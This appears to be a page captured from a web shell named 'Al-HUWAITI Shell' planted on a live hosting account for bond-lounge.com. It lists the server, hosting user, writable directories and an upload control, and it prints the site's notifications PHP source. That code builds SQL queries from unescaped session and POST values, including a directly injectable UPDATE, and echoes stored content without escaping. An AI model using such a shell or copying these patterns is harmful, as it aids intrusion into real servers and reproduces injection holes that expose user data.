Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/bond-lounge.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/bond-lounge.com/public_html/iframe_notifications.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
 include("iframe_header.php"); ?>
 <div class='container'>

 <div class="row g-4">
                  <?php	
	$sql = "SELECT COUNT(id) FROM notifications WHERE receiver='$user_id' AND seen ='No' ORDER BY id DESC";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 10;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM notifications WHERE receiver='$user_id' AND seen='No' ORDER BY id DESC $limit";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			$paginationCtrls .='<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Prev</a></li>';
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
					$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= '<li ><a class="active" href="#">'.$pagenum.'</a></li>';
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$next.'">Next</a></li>';
		}
	}
	
	if(mysqli_num_rows($query) > 0 ){
					while ($row_ads = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
						$id = $row_ads['id'];
						$content = $row_ads['content'];
						$sender = $row_ads['sender'];
						$seen = $row_ads['seen'];
						$notification_date = $row_ads['date'];
						
						 ?>
            <br>
                  <div class='col-md-12'>
                    <div style='border-radius:5px;padding:10px; border:2px solid #eee; height:200px;'>
                      
                        <p><?php echo"$content"; ?></p> <br>
                        <?php echo $notification_date; ?>
<?php 
      if($seen =="No"){
        echo"					
        <form action='";echo "iframe_notifications";echo"' method='post'> 	 

          <div class='row form-group'>
          <div class='col-md-12'>
            <input type='hidden' value='$id' name='notification_id'>
            <input type='submit' style='text-align:center;margin:auto;width:200px;' name='mark_as_seen' value='Mark as seen' class='btn login btn_black'>
          </div>
          </div>
        </form>
        
        ";
      }	
?>
                      
    </div>
    </div> 
                   <?php
                   if (isset($_POST['mark_as_seen'])){
                    $notification_id = $_POST['notification_id'];
                    mysqli_query($con,
                    "UPDATE notifications SET
                    seen='Yes'
                    WHERE id='$notification_id'")or die(mysqli_error($con));
                    
                    //create a session to verify it's coming from here
                    $_SESSION["action"] = "true";
                    $message="Notification dismissed.";
                    echo "<meta http-equiv=\"refresh\" content=\"0; url=success_iframe?u=$page_name&m=$message\">";
                  }
                   }}  
                   ?>
<div class='col-md-12'>
<div class="pagination-wrap mt-0">
  <ul class="pagination">
    <?php echo $paginationCtrls; ?>
  </ul>
  <?php echo "$textline2"; ?>
</div>
</div>                  
                  </div>
                  </div>
<?php include("iframe_footer.php"); ?>

Al-HUWAITI Shell